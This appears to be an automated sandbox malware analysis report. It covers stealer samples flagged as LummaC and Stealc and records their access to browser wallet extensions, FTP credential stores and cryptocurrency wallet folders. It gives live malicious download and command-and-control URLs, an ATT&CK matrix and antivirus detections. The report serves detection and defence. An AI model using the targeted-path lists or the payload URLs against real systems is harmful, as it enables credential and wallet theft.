Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB

Source: Yara match	File source: 0000000D.00000003.3197174045.00000000012CD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.3245722384.00000000005E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3197230933.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3190538036.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3131338677.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.3365772900.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3190424295.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3164980897.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.3271234904.00000000005E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.3271575220.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3164239132.00000000012C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3190825384.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.3365494500.00000000005E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3137799586.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3106209007.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d0d9725343.exe PID: 5564, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 176986cc9c.exe PID: 5440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 176986cc9c.exe PID: 3504, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 3981530833.exe PID: 1776, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 176986cc9c.exe PID: 5440, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000000E.00000002.3180012118.0000000000A81000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.3122477181.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3258280474.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3351423687.0000000000728000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3354435913.0000000000A81000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f570600774.exe PID: 5936, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BFEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_00BFEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BFDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_00BFDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	311 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	5 Obfuscated Files or Information	Security Account Manager	246 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	212 Process Injection	12 Software Packing	NTDS	891 Security Software Discovery	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	361 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	55%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	54%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	54%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
https://atten-supporse.biz/6)	100%	Avira URL Cloud	malware
http://185.215.113.16/well/random.exe_Q	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpncodedM=	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeZP	100%	Avira URL Cloud	malware
http://80.82.65.70/files/download0/files/download	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apiU.	100%	Avira URL Cloud	malware
http://www.inbox.lv/rfc2368/?value=%shandlerSvc	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpgRL	100%	Avira URL Cloud	malware
https://accounts.go	0%	Avira URL Cloud	safe
https://addons.mozilla.orgADD_EXTENSION_BUTTON_STAFF_3defaults_and_os_integration	0%	Avira URL Cloud	safe
https://login.microsoftonline.comresource://normandy/lib/PrefUtils.sys.mjsresource://normandy/lib/Te	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpph	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe;P	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe-P	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.181.78	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
atten-supporse.biz	104.21.48.1	true	false	high
ipv4only.arpa	192.0.0.170	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
www.google.com	172.217.21.36	true	false	high
drive-connect.cyou	172.67.139.78	true	true	unknown
js.monitor.azure.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
formy-spill.biz	false	high
https://atten-supporse.biz/api	false	high
dwell-exclaim.biz	false	high
http://80.82.65.70/dll/download	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://basket.mozilla.org/news/subscribe_sms/	firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	false		high
https://atten-supporse.biz/6)	176986cc9c.exe, 0000000F.00000003.3365494500.00000000005E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3377707348.000002149B5DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/en-US/firefox/collections/4757633/25c2b44583534b3fa8fea977c419cd/?page=1&	firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001D.00000002.3442726709.00000214B3C07000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.duckduckgo.com/ac/get	firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206;	f570600774.exe, 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260407550.00000214AB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3404418065.00000214AB6B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260074424.00000214AB40F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.orgADD_EXTENSION_BUTTON_STAFF_3defaults_and_os_integration	firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3322309310.00000214ACB79000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apiU.	176986cc9c.exe, 0000000F.00000003.3271110389.00000000053DD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://firefox.settings.services.mozilla.com/v1_onDisplaySyncURIs/allKnownSender	firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%shttp://win.mail.ru/cgi-	firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.mozilla.com/v1i	firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/policies/privacy/2	firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	false		high
